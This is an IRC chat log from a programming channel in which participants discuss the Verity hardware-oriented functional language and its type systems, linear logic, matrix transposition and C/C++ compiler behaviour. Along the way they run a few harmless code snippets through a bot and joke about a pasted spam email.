02:38:39 <ais523> unary minus always requires parens, incidentally
02:38:45 <ais523> to distinguish between a-1 and a(-1)
02:39:06 <ais523> anyway, that's about it, syntactically
02:39:14 <ais523> there's also a lambda that works on tuples, \(a,b).x
02:39:29 <elliott> OK, I gave in and looked at grammar.txt
02:39:52 <ais523> and the difference between \a.\b.x and \(a,b).x is that the second asserts that a and b can be used simultaneously, the first asserts that they can't be
02:39:53 <elliott> which is a vaguely less agonising way to present this mess of a syntax :P
02:40:07 <elliott> here's a more useful question: what's the type system?
02:40:17 <ais523> well, there are three different type systems…
02:40:34 * elliott 's desire to implement Verity over time, graphed: \
02:40:35 <ais523> programs are written in ICA, but must be valid in SCC
02:40:46 <ais523> and then that's converted to SCI for use in hardware
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02:40:59 <ais523> I could try to describe them over IRC, or just link you to the papers defining them
02:42:11 <elliott> the latter will probably save you time, since I can not read them more efficiently than I can not read your explanations of them
02:42:17 <ais523> here, http://www.cs.bham.ac.uk/~drg/papers/popl11.pdf
02:42:37 <ais523> that describes not only all the type systems used, but all the algorithms we use to convert between them
02:43:14 <ais523> oh, and it describes the resulting circuitry too
02:43:23 <ais523> except in the case of recursion, which we hadn't worked out at the time that paper was written
02:43:29 <elliott> what if i just skipped the type system? ;)
02:43:37 <monqy> what is verity and why is it like this
02:43:51 <ais523> well, then you wouldn't be rejecting invalid programs, but it'd still work fine on the valid ones, mostly
02:43:54 <ais523> except for bitwidth inference
02:44:39 <elliott> monqy: ais523&co.'s impure, call-by-name higher-order functional language
02:44:43 <elliott> designed to compile to hardware
02:44:54 <ais523> for instance, print(~4) implies that the 4 is a 32-bit 4, at least if you do an "import <print>"
02:45:10 <ais523> because print.vhd defines print as being of type exp$32->com
02:45:25 <ais523> and of course the bitwidth of the 4 will affect what its complement is
02:46:41 * elliott wonders if ais523 has monqy on ignore or something
02:46:52 <ais523> just you answered faster than I did
02:46:59 <ais523> monqy: I wanted to call it ALGOL-11
02:47:02 <ais523> but they wouldn't let me
02:47:16 <ais523> well, ALGOL-12 by now I guess, but 11 sounds nicer
02:47:56 <elliott> ais523: he asked earlier, too
02:48:23 <ais523> it is very much an Algol dialect, though, semantically
02:48:34 <ais523> and the syntax is different but based off similar principles
02:48:52 <ais523> elliott: oh, there's also {} in the syntax, which is sugar for ():com
02:49:07 <ais523> so you can write while 1 do {command; another_command}
02:49:31 <ais523> the type system also has var, but it's sugar for something
02:49:56 <ais523> ah, var$n = (exp$n*(exp$n->com))
02:50:25 <ais523> which means that I guess ! and := could be implemented in pure Verity, if I were so inclined
02:50:29 <ais523> but there's no way to define operators yet
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02:50:53 <ais523> oh, and the other thing that it's easy to miss is that division doesn't exist
02:50:56 <ais523> we might add a library for div and mod
02:51:00 <elliott> <ais523> but there's no way to define operators yet
02:51:01 <elliott> <elliott> ais523: you know, Haskell solved this operator syntax problem excellently.
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02:51:38 <ais523> just by interpreting any random string of characters it doesn't understand as an operator
02:51:48 <ais523> but that's actually more complex than what we're doing at the moment
02:51:56 <ais523> *string of punctuation marks
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02:52:13 <elliott> that's a rather pov way of putting it :p
02:52:47 <ais523> because you'd need to get the parser to parse prio operatives (or whatever you call them, but it's called prio in algol 68) and then change the way it parsed from then on accordingly
02:52:52 <ais523> I thought you didn't like state?
02:53:00 <ais523> (^ both nonsequitur and strawman)
02:53:53 <elliott> ais523: how many 1-pass compilers are there?
02:53:59 <elliott> anyway, I already said I hate operator precedence
02:54:07 <elliott> so no, the parser doesn't have to do that at all
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02:56:45 <ais523> elliott: it's very hard to convince people to use a language where a+b*c doesn't do what they expect
02:57:02 <ais523> "looking vaguely familiar" was the main criterion we used to design Verity's syntax
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02:57:19 <ais523> I added {} for ():com simply because I wanted to use them for while statements
02:57:32 <ais523> because it looked weird with ()
02:58:05 * elliott isn't sure "convincing people to use Verity" is a real problem ais523 faces :P
02:58:20 <ais523> I don't face it /personally/
02:58:31 <ais523> but I was asked to help the people/person out whose job it was
03:02:32 <elliott> ais523: anyway, why does the language need a built-in notion of bitwidths?
03:02:47 <ais523> concession to hardware, where everything needs a set bitwidth
03:03:17 <ais523> "4-bit integer" and "1024-bit integer" are completely different types, the type system should reflect that
03:03:39 <elliott> (this is a new macro meaning "you misinterpreted my previous comment")
03:03:51 <elliott> I'm asking why it needs anything other than bits at all as primitive
03:04:01 * Sgeo installs the PinkiePie fix
03:04:03 <elliott> I don't see why arithmetic on n-tuples of bits should be built-in
03:04:33 <ais523> elliott: because it's an operation that people will want to do a lot? and because it makes sense to be able to access the bits of an integer in parallel with each other?
03:04:54 <ais523> (exp$1 * exp$1) is not the same type as (exp$2) in terms of the operations you can do o nit
03:05:07 <ais523> as the first is a promise that you won't access the two bits simultaneously
03:05:14 <elliott> ais523: people want to do lots of operations a lot, that doesn't mean they have to be axiomatic!
03:05:54 <elliott> and, OK, I misused n-tuple
03:06:00 <elliott> you need a parallel tuple type then
03:06:18 <ais523> not really, that'd complicate the type system considerably for no real gain
03:06:38 <elliott> at the same time as simplifying it (by removing bitwidths)
03:06:39 <ais523> tupling is serial, currying is parallel, is the whole heart of the language
03:06:50 <ais523> (c_seq:com*com->com) (c_par:com->com->com)
03:07:08 <ais523> elliott: well, you'd need to add empty tuples as well, or else make com a separate type from exp$0
03:07:46 <elliott> I would do that anyway (making com a separate type), although empty tuples are good too, so might as well rename com to () or such
03:07:48 <ais523> elliott: also, you'd need a sufficiently smart compiler to even produce remotely efficient hardware
03:08:02 <elliott> hmm, why? I don't see why you wouldn't be able to translate it back efficiently
03:08:11 <ais523> because it's possible to force individual parts of a tuple
03:08:18 <ais523> and the hardware would need to reflect that
03:08:24 <elliott> let's say parallel tupling is &, why can't (exp & exp & exp) just translate to exp$3?
03:08:34 <ais523> imagine a program like (\(a,b).a)(print(4),print(5))
03:08:57 <elliott> ugh, stop overloading syntax :)
03:09:00 <ais523> or (\(a&b).a)(print(4)&print(5)) with & as parallel tuple rather than bitwise &
03:09:07 <ais523> and I didn't overload syntax, did I?
03:09:10 <ais523> at least, what do you think I overloaded
03:09:15 <elliott> I thought you overloaded (a,b)
03:09:34 <elliott> OK, the type is (a @ b) with constructor (a @ b) then, go on
03:09:42 <elliott> what type does print(4) have?
03:09:56 <ais523> print itself has type exp$32->com
03:10:11 <ais523> because some definite value needs to be picked for separate compilation, and 32 is nicely sized for most applications of print
03:10:13 <elliott> (aka (exp@exp@exp@...) -> com)
03:10:20 <elliott> OK, so, let's pick little-endian
03:10:31 <elliott> (\(a&b).a) is, in your current language, just (\x.x&1)
03:10:34 <ais523> now, (exp@exp@…) would allow you to force individual bits independently
03:10:41 <elliott> nope, that's the whole point
03:10:44 <ais523> and have different side effects on different bits
03:11:03 <ais523> which would mean 32 potential entry points
03:11:16 <ais523> which would be rather nastily inefficient for hardware that's O(number of entry points)
03:11:22 <elliott> nope, that's the whole point
03:11:52 <ais523> elliott: OK, so you have a parallel tuple that forces you to force every element at once?
03:12:11 <ais523> hmm, this concept actually exists in call-by-push-value, it has two types of tuples for this reason
03:12:17 <elliott> ais523: Isn't exp$32 a parallel 32-tuple that forces you to force every element at once?
03:12:47 <ais523> elliott: well, no, it's not implemented like that, but it is equivalent to that
03:13:04 <elliott> i thought you were being incredulous at the idea
03:13:08 <ais523> elliott: anyway, this type system doesn't even make sense now, what's ((com*com)@com) meant to mean?
03:13:12 <ais523> (com*com) has two entry points
03:13:25 <ais523> so which of them gets forced when you force the whole thing?
03:13:37 <elliott> hmm, give me a second to try and understand your silly language :)
03:13:52 <ais523> this isn't even my language any more, it's basic call-by-name semantics
03:14:11 <elliott> yes, but I don't see a problem, in terms of call-by-name semantics
03:14:17 <elliott> forcing a tuple forces the outer tuple but neither of the elements
03:14:26 <elliott> that's how the non-strict languages I know work
03:14:43 <elliott> or are your tuples unlifted or something fancy like that
03:14:48 <ais523> elliott: oh, in Verity, you force individual tuple elements, forcing the whole tuple isn't something that makes sense
03:14:58 <ais523> and likewise, it's impossible to sequence a tuple with something, seq only works on base types
03:14:58 <elliott> so it _is_ your language :)
03:15:00 -!- MDude has changed nick to MSleep.
03:15:11 <elliott> well, presumably it forces both, then
03:15:16 <ais523> elliott: it's that way in all the literature for Algol-like languages
03:15:47 <elliott> ais523: well, that means you identify _|_ and (_|_,_|_), right?
03:15:50 <ais523> elliott: think of com as being like a monad action, if it helps; that's one valid way to implement it
03:15:52 <elliott> so it's an unlifted product type
03:16:22 <ais523> elliott: (_|_, _|_) would be a reasonable way to define _|_ at a product type, yes
03:16:33 <elliott> right, so all you're saying is that your product type is unlifted
03:16:36 <elliott> (whereas, e.g. Haskell's is lifted)
03:16:50 <elliott> ais523: then, I don't see what's wrong with forcing both sides of it
03:16:59 <ais523> because (_|_, 0) is also a legal value
03:17:00 <elliott> that's the reasonable implementation, IMO, since (,) is clearly strict in both of its arguments
03:17:15 <elliott> oh, right, (,) isn't strict
03:17:23 <elliott> that just means that (_|_, 0)@anything happens to be _|_
03:17:26 <elliott> lots of things are _|_, what's the problem?
03:17:39 <ais523> it is impossible to define (,) in Verity, except in terms of itself
03:18:03 <elliott> i retracted my comment about (,)
03:18:18 <ais523> elliott: so which /order/ does it force the two sides of (print 0, print 1)@skip?
03:18:42 <ais523> it can't force them simultaneously, , introduces a serial tuple
03:19:15 <elliott> I feel like pointing out that I didn't actually mean this was the only acceptable solution, btw, and had another possible one in mind, but
03:19:17 <elliott> ais523: left first, why not
03:19:48 <ais523> I fail to see how this type system is less complicated than the one with a primitive fixed-width integer type :)
03:20:16 <elliott> <elliott> I feel like pointing out that I didn't actually mean this was the only acceptable solution, btw, and had another possible one in mind, but
03:20:16 <ais523> oh, the other reason things like + are primitive in Verity, is that you can't define polymorphic functions
03:20:28 <elliott> yes, that's another broken thing about verity ;)
03:21:01 <ais523> from a semantic level, if you write print(3+4), the compiler will generate a 32-bit + for you
03:21:17 <ais523> to prevent a huge amount of duplication, it uses generics in the generated VHDL
03:21:50 <elliott> yes, so you just want C++ template style generics
03:21:58 <elliott> that's perfectly OK, but you should expose it to your users too
03:22:14 <ais523> but + gets desugared into an FFI call
03:23:12 <ais523> I agree that proper C++-style templates would make a reasonable addition to the language, though; they're mentioned in one of our papers
03:23:20 <ais523> well, not /that/ C++-style, that would be insane by definition
03:23:32 <elliott> it can look identical to ML/haskell-style polymorphism at the language level
03:23:53 <elliott> the only thing you'd lose, expressivity-wise, is complicated polymorphic recursion
03:24:42 <ais523> polymorphism only over bitwidths would be so much easier
03:24:57 <ais523> mostly because VHDL doesn't support polymorphism except for array bounds
03:25:13 * elliott mumbles distaste at implementation-oriented language design
03:25:33 <ais523> although, it'd be nice if a parallel array was just a template that took a compile-time param and returned a variable
03:25:45 <ais523> now I'm seriously thinking about this
03:26:24 <elliott> right now, you can't even write generic data structures in verity, right?
03:26:39 <ais523> you can't even write recursive data structures
03:26:55 <ais523> except by rolling your own malloc-alike, or by implementing them as functions (which is very inefficient for most practical uses)
03:26:56 <elliott> sure you can, you have a trees implementation :P
03:27:09 <elliott> yes, it is available on the website
03:27:13 <ais523> that's done with a roll-your-own-malloc, and not a particularly efficient one at that
03:27:18 <elliott> that's why I asked about arrays
03:27:22 <ais523> that was my supervisor trying to prove a point
03:27:41 <ais523> that hardware recursion was useful, or something
03:27:45 <ais523> I'm not entirely sure myself
03:29:16 <ais523> there are so many restrictions on our hardware fix impl that I'm not at all convinced it's useful
03:29:34 <ais523> no parallelism anywhere near it, mostly
03:29:51 <ais523> also, you can't nest fix inside fix; it's possible to design circuitry so you could, but it'd be much less efficient so we don't
03:30:11 <elliott> hmm, does that just mean syntactically, or does that mean in fix e, you cannot use any code that uses fix in e?
03:30:14 <ais523> (fix \f.\x.(f(x)||skip) cannot be implemented in hardware with the techniques we're using)
03:30:44 <ais523> and it's a semantic restriction; it's implementing syntactically into the compiler because I couldn't figure out how it worked in the type system and how to modify the compiler accordingly
03:30:59 <elliott> this language sucks way more than @hwlang :(
03:31:13 <ais523> well, we've already achieved more with it than anyone else has before
03:31:20 <ais523> but I'm working on that atm
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03:32:07 <elliott> well, i was brought up believing hardware can't do any of this, so there's clearly some deception going on :)
03:32:25 <ais523> there's a limited recursion value, because you run out of memory for a stack after a while
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03:32:44 <ais523> although instead of having a global stack, which has terrible performance by hardware standards, we have a different stack for each variable in the program
03:32:56 <ais523> i.e. new allocates stacks rather than individual memory cells
03:33:27 <ais523> it's done by getting all the state in the program to refer to a different location depending on the recursion depth
03:33:32 <ais523> including state in control
03:33:50 <ais523> (i.e. remembering which branch of the ; you're in in \x.x;x)
03:34:58 <ais523> λq.(λg.g(λx.g(qx)))(λb.(λk.((k(λu.u))(λl.((kb)(λt.(l(t skip)))))))(λv.λw.wv))
03:35:11 <ais523> took me so long to work out that expression :)
03:35:42 <ais523> it's of type (com^m -> com^n -> com)^(n^2) -> com, m <= 1
03:36:03 <ais523> the issue was finding an expression that had a side-condition like that
03:36:33 <ais523> it was hard enough proving that the type system was even decidable in the absence of polymorphism
03:36:42 <ais523> it is, but it's nontrivial enough to see that that we got a paper out of it
03:36:47 <ais523> together with the type system transformations
03:37:35 <ais523> this is arguably a deficiency of the type system, due to using (\v.\w.wv) in two unrelated contexts that just happen to have similar types
03:37:46 <ais523> I'm not convinced that ML lets you do that either, though
03:39:33 <elliott> btw, is it just me or does your language have nothing to do with algol
03:40:38 <ais523> its semantics are almost identical to algol 60's
03:40:52 <ais523> allowing for the difference in syntax
03:41:03 <ais523> which isn't even that different; they both work on the same principle, just use different names for things
03:41:57 <ais523> oh, and algol 60 doesn't have ||
03:42:02 <ais523> the file extension should really be .ica rather than .ia
03:42:12 <ais523> but what happened was that I was using .ica and my supervisor was using .ia
03:42:20 <ais523> and we had to standardise on one eventually
03:42:22 <ais523> besides, .ia looks better
03:42:44 <ais523> well we can't change it /now/ :P
03:43:37 <elliott> btw, I'm not convinced that call-by-need is compatible with hardware (the gosc site suggests it is)
03:44:00 <ais523> that was a crazy idea that my supervisor said
03:44:02 <elliott> after all, it involves heavy, global mutation in a concurrent setting
03:44:16 <ais523> he was talking to someone else, and they decided it would be worthwhile for the compiler, and might even replace pipelining
03:44:19 <elliott> OK, you don't necessarily need the global, if you're OK with evaluation being per-thread
03:44:20 <ais523> and I had to tell them why they were completely wrong
03:44:25 <elliott> i.e. each thread evaluates a thunk zero or once
03:44:28 <ais523> they'd basically discovered common subexpression elimination
03:44:35 <ais523> and confused it with call-by-need
03:44:46 <elliott> well, tell him to fix the website, then ;)
03:45:07 <ais523> although, "parallel call-by-need" or whatever it's called could be worthwhile
03:45:20 <ais523> we discovered that it's possible via a source-level transformation, though
03:45:43 <elliott> what does parallel call-by-need mean, precisely?
03:46:16 <ais523> basically, whenever you determine the value of a lambda variable in a particular scope, you start specializing everything in that scope that uses the variable, in the background
03:46:28 <ais523> and then when it goes out of scope, kill the specializations
03:46:37 <elliott> err, that sounds nothing like call-by-need
03:46:40 <ais523> and return to the original
03:46:59 <ais523> elliott: well, think of it this way: \x.print(x+1);print(x+1)
03:47:25 <ais523> as soon as that's called, x gets a value, x+1 gets specialized in the background (i.e. only executed once), and you end up printing the sum twice while only calculating it once
03:48:16 <ais523> the similarity with common subexpression elimination comes when you realise that's equivalent to \x.new y := x+1 in print(!y);print(!y), with a backgrounded initialization of y
03:48:25 <ais523> (important if print takes some time to set up before it asks for !y's value)
03:49:09 <ais523> anyway, we realised that in the absence of side-effects, background-calculating things didn't actually cost anything at all
03:49:38 <ais523> not even in the need to be able to kill the calculation halfway through, because we can use the same circuitry for that as we do for the global reset
03:49:52 <ais523> (which is necessary so that we don't end up with multiple instruction pointers at power on)
03:50:49 <elliott> so has any of this been tested on a real fpga? :P
03:51:06 <ais523> no, but if we do it, it'll be as a source-level translation anyway
03:51:17 <ais523> together with extra support for a one-way parallel composition
03:52:13 <ais523> why do you think that quickstart.txt contains detailed notes on which things to click in Quartus II to get it working properly? or have you not read that?
03:53:40 <ais523> someone who's apparently really important came round, and we showed him a recursive memoized Fibonacci that displayed its result in hex on some seven-segment displays
03:53:44 <ais523> running on an actual FPGA
03:53:47 <elliott> argh, i just remembered that thing shachaf said
03:53:58 <elliott> also, heh, what did he say?
03:54:09 <ais523> I wasn't there at the time
03:54:25 <ais523> anyway, the funny thing was that he was giving a seminar, and I was pretty much forced to attend
03:54:35 <ais523> but by the time I got there, the whole room was full and there was no room for me, so I didn't
03:54:41 <shachaf> elliott: Wait, what did I say?
03:54:42 <ais523> and it seems the same threat had gone out to the whole department
03:54:52 <elliott> shachaf: Remember when you asked what "either, but not both" meant logically?
03:54:59 <elliott> My brain has started to attempt to try and work it out. :-(
03:55:03 <ais523> it's an xor, isn't it?
03:55:23 <elliott> ais523: the idea is that you get to pick whether (P & ~Q) or (~P & Q)
03:55:31 <elliott> but then you're not allowed to go back and change your mind
03:55:42 <ais523> elliott: clearly that requires state :)
03:55:47 <elliott> ais523: well, it's like linear logic, sort of
03:56:05 <elliott> well, I'm stating it vaguely
03:56:08 <elliott> I don't think it requires state
03:56:19 <elliott> just a different structure
03:56:23 <ais523> p :- \+ q_mem, assertz(p_mem). q :- \+ p_mem, assertz(q_mem).
03:56:24 <shachaf> If you don't think it requires state, why are you stating it???
03:56:32 * shachaf contributes to the discussion.
03:56:51 <ais523> it's much clearer in Prolog :P
03:57:10 <elliott> anyway, I think any solution using actual state misses the point of the question
03:57:52 <elliott> you essentially want (forall R, (P&~Q -> R) & (~P&Q -> R) -> R), except it can only be used once
03:57:59 <elliott> except it's not even "only once", really
03:58:04 <elliott> you just don't want to be able to nest it
03:58:10 <elliott> except it's a bit stronger than that, because you could pass id...
03:58:42 <ais523> elliott: something like "X=p" and "X=q" in Prolog?
03:58:59 <ais523> either is true, but not if you use them both in the same scope
03:59:23 <elliott> the "one-use" thing is why I think linear logic is vaguely related
03:59:59 <ais523> you can't use p and q at the same time
04:00:13 <ais523> the type system forces it, linear-logic-style
04:01:26 <elliott> hmm... I don't really know anything about linear logic, but would asserting (X ⊸ (P ⊗ Q^⊥)) ⊗ (X ⊸ (P^⊥ ⊗ Q)) work?
04:01:33 <elliott> then X is P orbutnotboth Q
04:01:43 <elliott> I suspect that doesn't actually work, but am too ignorant to know why
04:01:54 <ais523> I don't know anything about that syntax for linear logic
04:02:00 <ais523> other than recognising it
04:02:03 <elliott> I was copying from Wikipedia
04:02:35 <elliott> "⊗ is called "multiplicative conjunction" or "times" (or sometimes "tensor")"
04:02:44 <elliott> but perhaps I meant & ("additive conjunction") and didn't realise it
04:02:48 <elliott> again, I really know nothing about linear logic
04:02:55 <elliott> [[ ! is pronounced "of course" (or sometimes "bang")
04:02:55 <elliott> ? is pronounced "why not"]]
04:02:58 <elliott> other than that it's ridiculous...
04:03:05 <ais523> "⊗" is typically pronounced as "tensor" regardless of what it actually means
04:04:37 <ais523> affine type systems, on the other hand, I'm happy with /those/
04:04:48 <ais523> (an affine type system is like a linear one, except it allows you to not use a variable if you don't want to)
04:04:57 <elliott> that would work for this, I think
04:05:40 <ais523> anyway, -> is affine in SCI and Verity
04:05:59 <ais523> (and tuple formation is non-affine, which is why it has the restriction that you can only use one side at a time; so that the hardware itself ends up used in an affine way)
04:07:35 <shachaf> That's affine type system you got there.
04:07:46 <shachaf> It would be a shame if anything was to happen to it.
04:12:00 <elliott> it sounds like shachaf has an affinity for ais523's type system
04:12:13 <ais523> don't make this into a pun thread :(
04:12:29 <elliott> oerjan isn't here, we have to work twice as hard to cover for his absence
04:12:51 <elliott> i started coming up with another pun, but gave up before i affinis-ed
04:13:51 <elliott> ais523: come on that one was awful
04:14:19 <ais523> maybe if I ignore them they'll go away?
04:15:08 <elliott> ais523: careful, if you start ignoring everyone you might incur some unwanted affines you have to pay
04:15:44 <shachaf> elliott: So what's an efficient way to do operations on columns of a (row-major) matrix?
04:16:33 <elliott> shachaf: make it be column-major instead?
04:16:52 <shachaf> elliott: I'm doing booperations on both columns and rows.
04:17:33 <ais523> shachaf: just use a stride?
04:17:45 <ais523> have a pointer and add the width of a row to it each time round the loop
04:17:52 <shachaf> Come on, elliott, booperate with me on this.
04:17:55 <ais523> probably not cache-efficient, but I don't think there is a cache-efficient way to do that
04:18:14 <shachaf> ais523: Right, I was looking for something more cache-efficient. :-)
04:18:30 <ais523> but how can there be one? the stuff you're looking for is not together in memory
04:18:31 <elliott> shachaf: Store it in BOTH row-major and column-major order!!
04:18:39 <ais523> I guess you could use a GPU, where you manage the caches yourself?
04:18:42 <elliott> In fact, interleave the row-major and column-major representations, one element per each.
04:18:52 <shachaf> I've half a mind to just transpose the matrix first.
04:19:04 <elliott> Come on, interleaving would be great.
04:19:09 <ais523> so that you only incure the cache-inefficiency penalty once?
04:19:11 <shachaf> If I was doing enough column operations it would probably be worth it, but I'm only scanning each column once.
04:19:24 <ais523> elliott: interleaving is nearly always a bad idea cache-wise
04:19:30 <ais523> no matter what you're interleaving or why
04:19:49 <lambdabot> forall (m :: * -> *) a. (MonadLogic m) => m a -> m a -> m a
04:19:51 <elliott> ais523: OK, /fine/, buy two-dimensional memory and store the row-major stuff /behind/ the column-major stuff
04:19:53 <ais523> unless, on a CPU, the values you're interleaving would always be accessed together
04:20:00 <elliott> (what do you mean, you could just use the two-dimensional storage directly?)
04:20:09 <ais523> dual-layer memory? like a DVD?
04:20:24 <elliott> i was going to say that, but decided 2d would be better as it would let me make that joke
04:20:59 <shachaf> Also, transposing a matrix in-place is hard. :-(
04:21:29 <ais523> shachaf: I gave a lecture partly about doing that efficiently
04:21:44 <ais523> because the person who was meant to give it booked a plane in the morning rather than the afternoon
04:22:02 <ais523> (because he'd tried to book one in the afternoon, been offered one in the morning instead, and didn't check to make sure it was at the time he requested)
04:23:17 <ais523> the funny thing is, that over half the matrix transpose stuff had been made moot since the year before
04:23:23 <ais523> because GPUs had got better at accessing device memory
04:31:56 <lambdabot> http://antoine.frostburg.edu/chem/senese/101/measurement/faq/volume-to-mass-air.shtml
04:31:57 <lambdabot> Title: General Chemistry Online: FAQ: Measurement: How can the mass of air in a room be ...
04:32:07 <elliott> ais523: "We have to write out binary data, so we use the writeFile defined in Data.ByteString.Char8, which operates on ByteStrings. This is why we need to convert our String to a ByteString first using B.pack."
04:32:16 <elliott> Also, 1.19 is http://mediawiki.org/.
04:34:42 <shachaf> Maybe I can transpose the matrix while I'm doing the row operations?
04:35:00 <shachaf> I guess that still doesn't help.
04:35:23 <elliott> shachaf: Why not make the matrix symmetric?
04:35:29 <elliott> Then you can skip the transposition altogether.
04:35:40 <shachaf> Why not just make it all zeros?
04:35:45 <shachaf> Then I can store it in constant space.
04:35:53 <elliott> Bit constraining, don't you think?
04:36:15 <elliott> hmm, what if you stored a matrix with a Z-order curve?
04:37:37 <shachaf> However, I don't really see how that would help with column locality...
04:37:50 <elliott> I don't think it would, I'm just thinking about representations.
04:38:01 <elliott> To pack stuff closer together.
04:40:36 <elliott> http://upload.wikimedia.org/wikipedia/commons/d/da/Lebesgue-3d-step3.png sleep.png
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05:09:02 <ais523> a GPU can transpose matrices at over 60GBps
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05:24:04 <ais523> but I don't think it's that fast
05:27:15 <elliott> wow, Jimbo Wales is actually the designated method of appealing an arbcom decision
05:27:20 <elliott> why is WP bear-ocracy so fascinating?
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05:55:43 <zzo38> I once wrote a matrix transposing program in QBASIC which was part of another program for compressing sokoban levels
06:06:47 <shachaf> elliott: You're an expert in C++ and g++'s optimizations, right?
06:17:38 <ais523> elliott: I think you can also appeal to arbcom, in the case of new evidence, or simply nobody understanding the previous verdict
06:17:47 <shachaf> elliott: Is there a reason g++'s optimizer would compile the uncommented-out line very differently from the commented-out ones in <http://ideone.com/vJ109>?
06:18:30 <elliott> ais523: yep, but the higher authority is explicitly jimbo
06:19:02 <elliott> http://en.wikipedia.org/wiki/Wikipedia:Arbitration/Policy#Appeal_of_decisions
06:19:37 <elliott> shachaf: That one's twice as short.
06:20:27 <elliott> shachaf: Why are you coding C++?
06:20:31 <shachaf> elliott: The first of the three lines is even shorter, though. :-(
06:20:57 <shachaf> elliott: Because it's the best language.
06:21:06 <elliott> Oh, I thought the last one was an alternative to the first two together.
06:21:45 <shachaf> The first two compile to fancy AVX instructions.
06:22:17 <shachaf> The third compiles to boring old subtraction.
06:23:05 <elliott> Well, the first is basically C code.
06:23:15 <elliott> The second is OOPy and therefore idiomatic, due to its method call.
06:23:40 <elliott> But the third is unidiomatic (no OOP) C-style code that has the overhead of classes and objects and stuff.
06:23:57 <elliott> http://meta.stackoverflow.com/questions/125578/facebook-like-confirm
06:24:02 <shachaf> Would it make it better if I changed operator[] to a named method?
06:25:03 <ais523> shachaf: needs more rvalue references
06:25:07 * ais523 has not looked at the code
06:25:50 <elliott> {(c?a:b) = 0} is valid C++ code, is it valid C?
06:27:00 <shachaf> elliott: I'm using -O3. :-(
06:27:31 <pikhq_> Won't help for single-file programs. :)
06:28:15 <pikhq_> elliott: -O4 has meaning in recent GCC.
06:29:03 <shachaf> ais523: Would you look at the code if it was C?
06:29:45 <elliott> *That's* how you pronounce Dijkstra?
06:30:00 <ais523> elliott: *(c?a:b) = 0 is valid C
06:30:10 <ais523> in C++, you don't need the * if a and b are lvalue references
06:30:26 <elliott> http://upload.wikimedia.org/wikipedia/commons/8/85/Dijkstra.ogg says "diik-stra"
06:30:33 <ais523> oh, that's the same thing
06:31:09 <elliott> <ais523> in C++, you don't need the * if a and b are lvalue references
06:31:38 <EgoBot> languages: Esoteric: 1l 2l adjust asm axo bch befunge befunge98 bf bf8 bf16 bf32 boolfuck cintercal clcintercal dimensifuck glass glypho haskell kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl. Competitive: bfjoust fyb. Other: asm c cxx forth sh.
06:32:04 <ais523> !cxx int a,b,c=0; (c?a:b)=1; cout >> a >> endl;
06:32:19 <ais523> !cxx int a,b,c=0; (c?a:b)=1;
06:32:24 <ais523> EgoBot: 'twould be nice if you'd tell us /why/
06:32:33 <shachaf> !cxx int a,b,c=0; (c?a:b)=1; cout << a << endl;
06:33:07 <elliott> maybe it interpreted b as a pointer
06:33:20 <ais523> !cxx int a,b,c = 0; (c?a:b)=1; std::cout << a << std::endl;
06:33:27 <elliott> oh, wait, I bet shachaf is up to his unicode tricks again
06:33:52 <ais523> !cxx int a,b,c = 0; std::cout << a << std::endl;
06:33:58 <elliott> also, why was shachaf's valid but not ais523's?
06:34:00 <ais523> (retyped again just to make sure)
06:34:02 <elliott> <ais523> !cxx int a,b,c = 0; (c?a:b)=1; std::cout << a << std::endl;
06:34:11 <elliott> what is (c?a:b), symbolically?
06:34:22 <ais523> oh, a isn't initialized, and b is getting assigned to
06:34:23 <elliott> !cxx int a,b,c = 0; (c?a:b)=1; std::cout << b << std::endl;
06:34:44 <ais523> so why is uninitialized memory consistently 32767, I wonder?
06:35:08 <elliott> ais523: it's effectively a clean-booted Linux system every command
06:35:31 <zzo38> I think in C you need *(c?&a:&b)=1; instead
06:36:07 <elliott> ais523: since when is unininitialised memory usually 0?
06:36:25 <ais523> it's more often 0 than anything else
06:36:27 <elliott> !cxx int8_t a,b,c = 0; (c?a:b)=1; std::cout << b << std::endl;
06:36:36 <ais523> or some sentinel value (32767 is not a good sentinel value)
06:36:42 <elliott> !c int a; printf("%d\n", a);
06:36:47 <elliott> !c char a; printf("%d\n", a);
06:36:52 <elliott> !c unsigned char a; printf("%d\n", a);
06:37:02 <elliott> !c unsigned char a,b; printf("%d %d\n", a,b);
06:38:19 <elliott> by the way, how does everyone pronounce GIF?
06:38:23 <elliott> if you say jif, I'll stop talking to you
06:40:00 <shachaf> elliott: I wrote a GIF parser once! If you pronounce it "jif" then it works very inefficiently.
06:40:29 <zzo38> zzo38+++---++-+++-----++-+----++++--+--+++--+---++++---+++-++---+++-----++--+++-++--+--+
06:40:47 <elliott> zzo38+++---++-+++-----++-+----++++--+--+++--+---++++---+++-++---+++-----++--+++-++--+--+
06:41:22 <shachaf> If you pronounce it correctly it still works inefficiently.
06:42:24 <elliott> I wonder if ais523 is not saying "jif" so that I keep talking to him.
06:43:26 <elliott> "I want Stack Exchange to be part of the social web and ultimately the semantic web. I'm not satisfied with the archipelago of S.E. islands, each with their own priesthood of moderators who frown upon chit chat and buddy buddy."
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06:58:47 <HackEgo> OPTer: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
06:58:49 <shachaf> elliott: It compiles to the good instructions when returning a pointer instead of a reference. :-(
06:59:39 <elliott> shachaf: References are safe, thus slow.
07:00:44 <shachaf> elliott: I guess the unsafest operators would be fastest, right?
07:01:41 <elliott> ais523: Hey, should I sleep?
07:02:04 <ais523> you don't seem as tired as last time you asked that
07:02:20 <ais523> depends on when you want to wake up
07:02:33 <elliott> Your e-mail have been awarded 1,000.000.00 GBP in our 2012 BT AWARD
07:02:33 <elliott> fromSherry McKibben hsaasherryM11@shaw.ca
07:02:35 <elliott> subjectYour e-mail have been awarded 1,000.000.00 GBP in our 2012 BT AWARD
07:02:39 <elliott> hide details 06:53 (9 minutes ago)
07:02:41 <elliott> Name.....Country......Phone.....
07:02:48 <elliott> my email have been awarded 1,000.000.00 GBP in our 2012 BT AWARD!!!!!
07:03:37 <elliott> shachaf: [[Haskell, being lazy, allows the usage of thunks (unevaluated expressions) which can build up ad infinitum without such mucky things as 'stack overflows' ugh.]]
07:03:45 <elliott> shachaf: You know when foldl builds up a billion thunks and you get a stack overflow?
07:04:51 <shachaf> elliott: What about the time when it happened.
07:09:04 <elliott> ^def dundundun ul ([dramatic music])S
07:09:14 <elliott> fizzie: FI!!!J!IO!JO!IJZXIE
07:09:47 <shachaf> elliott: That's a long Wikipedia link you've got there.
07:10:23 <shachaf> The one in the Wikipedia brackets.
07:11:06 <elliott> Those are MediaWiki brackets.
